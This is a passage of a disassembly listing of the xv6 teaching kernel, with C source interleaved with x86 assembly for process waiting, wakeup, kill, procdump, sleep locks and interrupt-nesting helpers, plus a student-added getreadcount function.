c->proc; 80103dff: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103e05: e8 96 04 00 00 call 801042a0 <popcli> { struct proc *p; int havekids, pid; struct proc *curproc = myproc(); acquire(&ptable.lock); 80103e0a: 83 ec 0c sub $0xc,%esp 80103e0d: 68 40 2d 11 80 push $0x80112d40 80103e12: e8 29 05 00 00 call 80104340 <acquire> 80103e17: 83 c4 10 add $0x10,%esp for(;;){ // Scan through table looking for exited children. havekids = 0; 80103e1a: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e1c: bb 74 2d 11 80 mov $0x80112d74,%ebx 80103e21: eb 10 jmp 80103e33 <wait+0x43> 80103e23: 90 nop 80103e24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103e28: 83 c3 7c add $0x7c,%ebx 80103e2b: 81 fb 74 4c 11 80 cmp $0x80114c74,%ebx 80103e31: 74 1d je 80103e50 <wait+0x60> if(p->parent != curproc) 80103e33: 39 73 14 cmp %esi,0x14(%ebx) 80103e36: 75 f0 jne 80103e28 <wait+0x38> continue; havekids = 1; if(p->state == ZOMBIE){ 80103e38: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80103e3c: 74 30 je 80103e6e <wait+0x7e> acquire(&ptable.lock); for(;;){ // Scan through table looking for exited children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e3e: 83 c3 7c add $0x7c,%ebx if(p->parent != curproc) continue; havekids = 1; 80103e41: b8 01 00 00 00 mov $0x1,%eax acquire(&ptable.lock); for(;;){ // Scan through table looking for exited children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e46: 81 fb 74 4c 11 80 cmp $0x80114c74,%ebx 80103e4c: 75 e5 jne 80103e33 <wait+0x43> 80103e4e: 66 90 xchg %ax,%ax return pid; } } // No point waiting if we don't have any children. if(!havekids || curproc->killed){ 80103e50: 85 c0 test %eax,%eax 80103e52: 74 70 je 80103ec4 <wait+0xd4> 80103e54: 8b 46 24 mov 0x24(%esi),%eax 80103e57: 85 c0 test %eax,%eax 80103e59: 75 69 jne 80103ec4 <wait+0xd4> release(&ptable.lock); return -1; } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep 80103e5b: 83 ec 08 sub $0x8,%esp 80103e5e: 68 40 2d 11 80 push $0x80112d40 80103e63: 56 push %esi 80103e64: e8 c7 fe ff ff call 80103d30 <sleep> } 80103e69: 83 c4 10 add $0x10,%esp 80103e6c: eb ac jmp 80103e1a <wait+0x2a> continue; havekids = 1; if(p->state == ZOMBIE){ // Found one. pid = p->pid; kfree(p->kstack); 80103e6e: 83 ec 0c sub $0xc,%esp 80103e71: ff 73 08 pushl 0x8(%ebx) if(p->parent != curproc) continue; havekids = 1; if(p->state == ZOMBIE){ // Found one. pid = p->pid; 80103e74: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80103e77: e8 64 e4 ff ff call 801022e0 <kfree> p->kstack = 0; freevm(p->pgdir); 80103e7c: 5a pop %edx 80103e7d: ff 73 04 pushl 0x4(%ebx) havekids = 1; if(p->state == ZOMBIE){ // Found one. pid = p->pid; kfree(p->kstack); p->kstack = 0; 80103e80: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80103e87: e8 64 2d 00 00 call 80106bf0 <freevm> p->pid = 0; 80103e8c: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80103e93: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80103e9a: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80103e9e: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80103ea5: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80103eac: c7 04 24 40 2d 11 80 movl $0x80112d40,(%esp) 80103eb3: e8 38 05 00 00 call 801043f0 <release> return pid; 80103eb8: 83 c4 10 add $0x10,%esp } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103ebb: 8d 65 f8 lea -0x8(%ebp),%esp p->parent = 0; p->name[0] = 0; p->killed = 0; p->state = UNUSED; release(&ptable.lock); return pid; 80103ebe: 89 f0 mov %esi,%eax } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103ec0: 5b pop %ebx 80103ec1: 5e pop %esi 80103ec2: 5d pop %ebp 80103ec3: c3 ret } } // No point waiting if we don't have any children. if(!havekids || curproc->killed){ release(&ptable.lock); 80103ec4: 83 ec 0c sub $0xc,%esp 80103ec7: 68 40 2d 11 80 push $0x80112d40 80103ecc: e8 1f 05 00 00 call 801043f0 <release> return -1; 80103ed1: 83 c4 10 add $0x10,%esp } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103ed4: 8d 65 f8 lea -0x8(%ebp),%esp } // No point waiting if we don't have any children. if(!havekids || curproc->killed){ release(&ptable.lock); return -1; 80103ed7: b8 ff ff ff ff mov $0xffffffff,%eax } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103edc: 5b pop %ebx 80103edd: 5e pop %esi 80103ede: 5d pop %ebp 80103edf: c3 ret 80103ee0 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80103ee0: 55 push %ebp 80103ee1: 89 e5 mov %esp,%ebp 80103ee3: 53 push %ebx 80103ee4: 83 ec 10 sub $0x10,%esp 80103ee7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 80103eea: 68 40 2d 11 80 push $0x80112d40 80103eef: e8 4c 04 00 00 call 80104340 <acquire> 80103ef4: 83 c4 10 add $0x10,%esp static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103ef7: b8 74 2d 11 80 mov $0x80112d74,%eax 80103efc: eb 0c jmp 80103f0a <wakeup+0x2a> 80103efe: 66 90 xchg %ax,%ax 80103f00: 83 c0 7c add $0x7c,%eax 80103f03: 3d 74 4c 11 80 cmp $0x80114c74,%eax 80103f08: 74 1c je 80103f26 <wakeup+0x46> if(p->state == SLEEPING && p->chan == chan) 80103f0a: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103f0e: 75 f0 jne 80103f00 <wakeup+0x20> 80103f10: 3b 58 20 cmp 0x20(%eax),%ebx 80103f13: 75 eb jne 80103f00 <wakeup+0x20> p->state = RUNNABLE; 80103f15: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103f1c: 83 c0 7c add $0x7c,%eax 80103f1f: 3d 74 4c 11 80 cmp $0x80114c74,%eax 80103f24: 75 e4 jne 80103f0a <wakeup+0x2a> void wakeup(void *chan) { acquire(&ptable.lock); wakeup1(chan); release(&ptable.lock); 80103f26: c7 45 08 40 2d 11 80 movl $0x80112d40,0x8(%ebp) } 80103f2d: 8b 5d fc mov -0x4(%ebp),%ebx 80103f30: c9 leave void wakeup(void *chan) { acquire(&ptable.lock); wakeup1(chan); release(&ptable.lock); 80103f31: e9 ba 04 00 00 jmp 801043f0 <release> 80103f36: 8d 76 00 lea 0x0(%esi),%esi 80103f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103f40 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80103f40: 55 push %ebp 80103f41: 89 e5 mov %esp,%ebp 80103f43: 53 push %ebx 80103f44: 83 ec 10 sub $0x10,%esp 80103f47: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 80103f4a: 68 40 2d 11 80 push $0x80112d40 80103f4f: e8 ec 03 00 00 call 80104340 <acquire> 80103f54: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103f57: b8 74 2d 11 80 mov $0x80112d74,%eax 80103f5c: eb 0c jmp 80103f6a <kill+0x2a> 80103f5e: 66 90 xchg %ax,%ax 80103f60: 83 c0 7c add $0x7c,%eax 80103f63: 3d 74 4c 11 80 cmp $0x80114c74,%eax 80103f68: 74 3e je 80103fa8 <kill+0x68> if(p->pid == pid){ 80103f6a: 39 58 10 cmp %ebx,0x10(%eax) 80103f6d: 75 f1 jne 80103f60 <kill+0x20> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103f6f: 83 78 0c 02 cmpl $0x2,0xc(%eax) struct proc *p; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->pid == pid){ p->killed = 1; 80103f73: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) // Wake process from sleep if necessary. if(p->state == SLEEPING) 80103f7a: 74 1c je 80103f98 <kill+0x58> p->state = RUNNABLE; release(&ptable.lock); 80103f7c: 83 ec 0c sub $0xc,%esp 80103f7f: 68 40 2d 11 80 push $0x80112d40 80103f84: e8 67 04 00 00 call 801043f0 <release> return 0; 80103f89: 83 c4 10 add $0x10,%esp 80103f8c: 31 c0 xor %eax,%eax } } release(&ptable.lock); return -1; } 80103f8e: 8b 5d fc mov -0x4(%ebp),%ebx 80103f91: c9 leave 80103f92: c3 ret 80103f93: 90 nop 80103f94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->pid == pid){ p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) p->state = RUNNABLE; 80103f98: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103f9f: eb db jmp 80103f7c <kill+0x3c> 80103fa1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); return 0; } } release(&ptable.lock); 80103fa8: 83 ec 0c sub $0xc,%esp 80103fab: 68 40 2d 11 80 push $0x80112d40 80103fb0: e8 3b 04 00 00 call 801043f0 <release> return -1; 80103fb5: 83 c4 10 add $0x10,%esp 80103fb8: b8 ff ff ff ff mov $0xffffffff,%eax } 80103fbd: 8b 5d fc mov -0x4(%ebp),%ebx 80103fc0: c9 leave 80103fc1: c3 ret 80103fc2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103fc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103fd0 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80103fd0: 55 push %ebp 80103fd1: 89 e5 mov %esp,%ebp 80103fd3: 57 push %edi 80103fd4: 56 push %esi 80103fd5: 53 push %ebx 80103fd6: 8d 75 e8 lea -0x18(%ebp),%esi 80103fd9: bb e0 2d 11 80 mov $0x80112de0,%ebx 80103fde: 83 ec 3c sub $0x3c,%esp 80103fe1: eb 24 jmp 80104007 <procdump+0x37> 80103fe3: 90 nop 80103fe4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 80103fe8: 83 ec 0c sub $0xc,%esp 80103feb: 68 bb 78 10 80 push $0x801078bb 80103ff0: e8 6b c6 ff ff call 80100660 <cprintf> 80103ff5: 83 c4 10 add $0x10,%esp 80103ff8: 83 c3 7c add $0x7c,%ebx int i; struct proc *p; char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103ffb: 81 fb e0 4c 11 80 cmp $0x80114ce0,%ebx 80104001: 0f 84 81 00 00 00 je 80104088 <procdump+0xb8> if(p->state == UNUSED) 80104007: 8b 43 a0 mov -0x60(%ebx),%eax 8010400a: 85 c0 test %eax,%eax 8010400c: 74 ea je 80103ff8 <procdump+0x28> continue; if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 8010400e: 83 f8 05 cmp $0x5,%eax state = states[p->state]; else state = "???"; 80104011: ba 20 75 10 80 mov $0x80107520,%edx uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->state == UNUSED) continue; if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80104016: 77 11 ja 80104029 <procdump+0x59> 80104018: 8b 14 85 a8 75 10 80 mov -0x7fef8a58(,%eax,4),%edx state = states[p->state]; else state = "???"; 8010401f: b8 20 75 10 80 mov $0x80107520,%eax 80104024: 85 d2 test %edx,%edx 80104026: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 80104029: 53 push %ebx 8010402a: 52 push %edx 8010402b: ff 73 a4 pushl -0x5c(%ebx) 8010402e: 68 24 75 10 80 push $0x80107524 80104033: e8 28 c6 ff ff call 80100660 <cprintf> if(p->state == SLEEPING){ 80104038: 83 c4 10 add $0x10,%esp 8010403b: 83 7b a0 02 cmpl $0x2,-0x60(%ebx) 8010403f: 75 a7 jne 80103fe8 <procdump+0x18> getcallerpcs((uint*)p->context->ebp+2, pc); 80104041: 8d 45 c0 lea -0x40(%ebp),%eax 80104044: 83 ec 08 sub $0x8,%esp 80104047: 8d 7d c0 lea -0x40(%ebp),%edi 8010404a: 50 push %eax 8010404b: 8b 43 b0 mov -0x50(%ebx),%eax 8010404e: 8b 40 0c mov 0xc(%eax),%eax 80104051: 83 c0 08 add $0x8,%eax 80104054: 50 push %eax 80104055: e8 a6 01 00 00 call 80104200 <getcallerpcs> 8010405a: 83 c4 10 add $0x10,%esp 8010405d: 8d 76 00 lea 0x0(%esi),%esi for(i=0; i<10 && pc[i] != 0; i++) 80104060: 8b 17 mov (%edi),%edx 80104062: 85 d2 test %edx,%edx 80104064: 74 82 je 80103fe8 <procdump+0x18> cprintf(" %p", pc[i]); 80104066: 83 ec 08 sub $0x8,%esp 80104069: 83 c7 04 add $0x4,%edi 8010406c: 52 push %edx 8010406d: 68 61 6f 10 80 push $0x80106f61 80104072: e8 e9 c5 ff ff call 80100660 <cprintf> else state = "???"; cprintf("%d %s %s", p->pid, state, p->name); if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) 80104077: 83 c4 10 add $0x10,%esp 8010407a: 39 f7 cmp %esi,%edi 8010407c: 75 e2 jne 80104060 <procdump+0x90> 8010407e: e9 65 ff ff ff jmp 80103fe8 <procdump+0x18> 80104083: 90 nop 80104084: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf(" %p", pc[i]); } cprintf("\n"); } } 80104088: 8d 65 f4 lea -0xc(%ebp),%esp 8010408b: 5b pop %ebx 8010408c: 5e pop %esi 8010408d: 5f pop %edi 8010408e: 5d pop %ebp 8010408f: c3 ret 80104090 <getreadcount>: int getreadcount() { 80104090: 55 push %ebp 80104091: 89 e5 mov %esp,%ebp 80104093: 83 ec 10 sub $0x10,%esp cprintf("Read systemcall has called %d times.\n", counter); 80104096: ff 35 b8 a5 10 80 pushl 0x8010a5b8 8010409c: 68 80 75 10 80 push $0x80107580 801040a1: e8 ba c5 ff ff call 80100660 <cprintf> return 22; } 801040a6: b8 16 00 00 00 mov $0x16,%eax 801040ab: c9 leave 801040ac: c3 ret 801040ad: 66 90 xchg %ax,%ax 801040af: 90 nop 801040b0 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 801040b0: 55 push %ebp 801040b1: 89 e5 mov %esp,%ebp 801040b3: 53 push %ebx 801040b4: 83 ec 0c sub $0xc,%esp 801040b7: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 801040ba: 68 c0 75 10 80 push $0x801075c0 801040bf: 8d 43 04 lea 0x4(%ebx),%eax 801040c2: 50 push %eax 801040c3: e8 18 01 00 00 call 801041e0 <initlock> lk->name = name; 801040c8: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 801040cb: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; } 801040d1: 83 c4 10 add $0x10,%esp initsleeplock(struct sleeplock *lk, char *name) { initlock(&lk->lk, "sleep lock"); lk->name = name; lk->locked = 0; lk->pid = 0; 801040d4: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) void initsleeplock(struct sleeplock *lk, char *name) { initlock(&lk->lk, "sleep lock"); lk->name = name; 801040db: 89 43 38 mov %eax,0x38(%ebx) lk->locked = 0; lk->pid = 0; } 801040de: 8b 5d fc mov -0x4(%ebp),%ebx 801040e1: c9 leave 801040e2: c3 ret 801040e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801040e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801040f0 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 801040f0: 55 push %ebp 801040f1: 89 e5 mov %esp,%ebp 801040f3: 56 push %esi 801040f4: 53 push %ebx 801040f5: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 801040f8: 83 ec 0c sub $0xc,%esp 801040fb: 8d 73 04 lea 0x4(%ebx),%esi 801040fe: 56 push %esi 801040ff: e8 3c 02 00 00 call 80104340 <acquire> while (lk->locked) { 80104104: 8b 13 mov (%ebx),%edx 80104106: 83 c4 10 add $0x10,%esp 80104109: 85 d2 test %edx,%edx 8010410b: 74 16 je 80104123 <acquiresleep+0x33> 8010410d: 8d 76 00 lea 0x0(%esi),%esi sleep(lk, &lk->lk); 80104110: 83 ec 08 sub $0x8,%esp 80104113: 56 push %esi 80104114: 53 push %ebx 80104115: e8 16 fc ff ff call 80103d30 <sleep> void acquiresleep(struct sleeplock *lk) { acquire(&lk->lk); while (lk->locked) { 8010411a: 8b 03 mov (%ebx),%eax 8010411c: 83 c4 10 add $0x10,%esp 8010411f: 85 c0 test %eax,%eax 80104121: 75 ed jne 80104110 <acquiresleep+0x20> sleep(lk, &lk->lk); } lk->locked = 1; 80104123: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80104129: e8 52 f6 ff ff call 80103780 <myproc> 8010412e: 8b 40 10 mov 0x10(%eax),%eax 80104131: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80104134: 89 75 08 mov %esi,0x8(%ebp) } 80104137: 8d 65 f8 lea -0x8(%ebp),%esp 8010413a: 5b pop %ebx 8010413b: 5e pop %esi 8010413c: 5d pop %ebp while (lk->locked) { sleep(lk, &lk->lk); } lk->locked = 1; lk->pid = myproc()->pid; release(&lk->lk); 8010413d: e9 ae 02 00 00 jmp 801043f0 <release> 80104142: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104150 <releasesleep>: } void releasesleep(struct sleeplock *lk) { 80104150: 55 push %ebp 80104151: 89 e5 mov %esp,%ebp 80104153: 56 push %esi 80104154: 53 push %ebx 80104155: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80104158: 83 ec 0c sub $0xc,%esp 8010415b: 8d 73 04 lea 0x4(%ebx),%esi 8010415e: 56 push %esi 8010415f: e8 dc 01 00 00 call 80104340 <acquire> lk->locked = 0; 80104164: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 8010416a: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 80104171: 89 1c 24 mov %ebx,(%esp) 80104174: e8 67 fd ff ff call 80103ee0 <wakeup> release(&lk->lk); 80104179: 89 75 08 mov %esi,0x8(%ebp) 8010417c: 83 c4 10 add $0x10,%esp } 8010417f: 8d 65 f8 lea -0x8(%ebp),%esp 80104182: 5b pop %ebx 80104183: 5e pop %esi 80104184: 5d pop %ebp { acquire(&lk->lk); lk->locked = 0; lk->pid = 0; wakeup(lk); release(&lk->lk); 80104185: e9 66 02 00 00 jmp 801043f0 <release> 8010418a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104190 <holdingsleep>: } int holdingsleep(struct sleeplock *lk) { 80104190: 55 push %ebp 80104191: 89 e5 mov %esp,%ebp 80104193: 57 push %edi 80104194: 56 push %esi 80104195: 53 push %ebx 80104196: 31 ff xor %edi,%edi 80104198: 83 ec 18 sub $0x18,%esp 8010419b: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 8010419e: 8d 73 04 lea 0x4(%ebx),%esi 801041a1: 56 push %esi 801041a2: e8 99 01 00 00 call 80104340 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 801041a7: 8b 03 mov (%ebx),%eax 801041a9: 83 c4 10 add $0x10,%esp 801041ac: 85 c0 test %eax,%eax 801041ae: 74 13 je 801041c3 <holdingsleep+0x33> 801041b0: 8b 5b 3c mov 0x3c(%ebx),%ebx 801041b3: e8 c8 f5 ff ff call 80103780 <myproc> 801041b8: 39 58 10 cmp %ebx,0x10(%eax) 801041bb: 0f 94 c0 sete %al 801041be: 0f b6 c0 movzbl %al,%eax 801041c1: 89 c7 mov %eax,%edi release(&lk->lk); 801041c3: 83 ec 0c sub $0xc,%esp 801041c6: 56 push %esi 801041c7: e8 24 02 00 00 call 801043f0 <release> return r; } 801041cc: 8d 65 f4 lea -0xc(%ebp),%esp 801041cf: 89 f8 mov %edi,%eax 801041d1: 5b pop %ebx 801041d2: 5e pop %esi 801041d3: 5f pop %edi 801041d4: 5d pop %ebp 801041d5: c3 ret 801041d6: 66 90 xchg %ax,%ax 801041d8: 66 90 xchg %ax,%ax 801041da: 66 90 xchg %ax,%ax 801041dc: 66 90 xchg %ax,%ax 801041de: 66 90 xchg %ax,%ax 801041e0 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 801041e0: 55 push %ebp 801041e1: 89 e5 mov %esp,%ebp 801041e3: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 801041e6: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 801041e9: c7 00 00 00 00 00 movl $0x0,(%eax) #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { lk->name = name; 801041ef: 89 50 04 mov %edx,0x4(%eax) lk->locked = 0; lk->cpu = 0; 801041f2: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 801041f9: 5d pop %ebp 801041fa: c3 ret 801041fb: 90 nop 801041fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104200 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80104200: 55 push %ebp 80104201: 89 e5 mov %esp,%ebp 80104203: 53 push %ebx uint *ebp; int i; ebp = (uint*)v - 2; 80104204: 8b 45 08 mov 0x8(%ebp),%eax } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80104207: 8b 4d 0c mov 0xc(%ebp),%ecx uint *ebp; int i; ebp = (uint*)v - 2; 8010420a: 8d 50 f8 lea -0x8(%eax),%edx for(i = 0; i < 10; i++){ 8010420d: 31 c0 xor %eax,%eax 8010420f: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104210: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx 80104216: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 8010421c: 77 1a ja 80104238 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 8010421e: 8b 5a 04 mov 0x4(%edx),%ebx 80104221: 89 1c 81 mov %ebx,(%ecx,%eax,4) { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80104224: 83 c0 01 add $0x1,%eax if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp 80104227: 8b 12 mov (%edx),%edx { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80104229: 83 f8 0a cmp $0xa,%eax 8010422c: 75 e2 jne 80104210 <getcallerpcs+0x10> pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) pcs[i] = 0; } 8010422e: 5b pop %ebx 8010422f: 5d pop %ebp 80104230: c3 ret 80104231: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) pcs[i] = 0; 80104238: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 8010423f: 83 c0 01 add $0x1,%eax 80104242: 83 f8 0a cmp $0xa,%eax 80104245: 74 e7 je 8010422e <getcallerpcs+0x2e> pcs[i] = 0; 80104247: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 8010424e: 83 c0 01 add $0x1,%eax 80104251: 83 f8 0a cmp $0xa,%eax 80104254: 75 e2 jne 80104238 <getcallerpcs+0x38> 80104256: eb d6 jmp 8010422e <getcallerpcs+0x2e> 80104258: 90 nop 80104259: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104260 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 80104260: 55 push %ebp 80104261: 89 e5 mov %esp,%ebp 80104263: 53 push %ebx 80104264: 83 ec 04 sub $0x4,%esp 80104267: 9c pushf 80104268: 5b pop %ebx } static inline void cli(void) { asm volatile("cli"); 80104269: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 8010426a: e8 71 f4 ff ff call 801036e0 <mycpu> 8010426f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 80104275: 85 c0 test %eax,%eax 80104277: 75 11 jne 8010428a <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 80104279: 81 e3 00 02 00 00 and $0x200,%ebx 8010427f: e8 5c f4 ff ff call 801036e0 <mycpu> 80104284: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 8010428a: e8 51 f4 ff ff call 801036e0 <mycpu> 8010428f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 80104296: 83 c4 04 add $0x4,%esp 80104299: 5b pop %ebx 8010429a: 5d pop %ebp 8010429b: c3 ret 8010429c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801042a0 <popcli>: void popcli(void) { 801042a0: 55 push %ebp 801042a1: 89 e5 mov %esp,%ebp 801042a3: 83 ec 08 sub $0x8,%esp static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 801042a6: 9c pushf 801042a7: 58 pop %eax if(readeflags()&FL_IF) 801042a8: f6 c4 02 test $0x2,%ah 801042ab: 75 52 jne 801042ff <popcli+0x5f> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 801042ad: e8 2e f4 ff ff call 801036e0 <mycpu> 801042b2: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx 801042b8: 8d 51 ff lea -0x1(%ecx),%edx 801042bb: 85 d2 test %edx,%edx 801042bd: 89 90 a4 00 00 00 mov %edx,0xa4(%eax) 801042c3: 78 2d js 801042f2 <popcli+0x52> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 801042c5: e8 16 f4 ff ff call 801036e0 <mycpu> 801042ca: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 801042d0: 85 d2 test %edx,%edx 801042d2: 74 0c je 801042e0 <popcli+0x40> sti(); } 801042d4: c9 leave 801042d5: c3 ret 801042d6: 8d 76 00 lea 0x0(%esi),%esi 801042d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi { if(readeflags()&FL_IF) panic("popcli - interruptible"); if(--mycpu()->ncli < 0) panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 801042e0: e8 fb f3 ff ff call 801036e0 <mycpu> 801042e5: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 801042eb: 85 c0 test %eax,%eax 801042ed: 74 e5 je 801042d4 <popcli+0x34> } static inline void sti(void) { asm volatile("sti"); 801042ef: fb sti sti(); } 801042f0: c9 leave 801042f1: c3 ret popcli(void) { if(readeflags()&FL_IF) panic("popcli - interruptible"); if(--mycpu()->ncli < 0) panic("popcli"); 801042f2: 83 ec 0c sub $0xc,%esp 801042f5: 68 e2 75 10 80 push $0x801075e2 801042fa: e8 71 c0 ff ff call 80100370 <panic> void popcli(void) { if(readeflags()&FL_IF) panic("popcli - interruptible"); 801042ff: 83 ec 0c sub $0xc,%esp 80104302: 68 cb 75 10 80 push $0x801075cb 80104307: e8 64 c0 ff ff call 80100370 <panic> 8010430c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104310 <holding>: } // Check whether this cpu is holding the lock. int holding(struct spinlock *lock) { 80104310: 55 push %ebp 80104311: 89 e5 mov %esp,%ebp 80104313: 56 push %esi 80104314: 53 push %ebx 80104315: 8b 75 08 mov 0x8(%ebp),%esi 80104318: 31 db xor 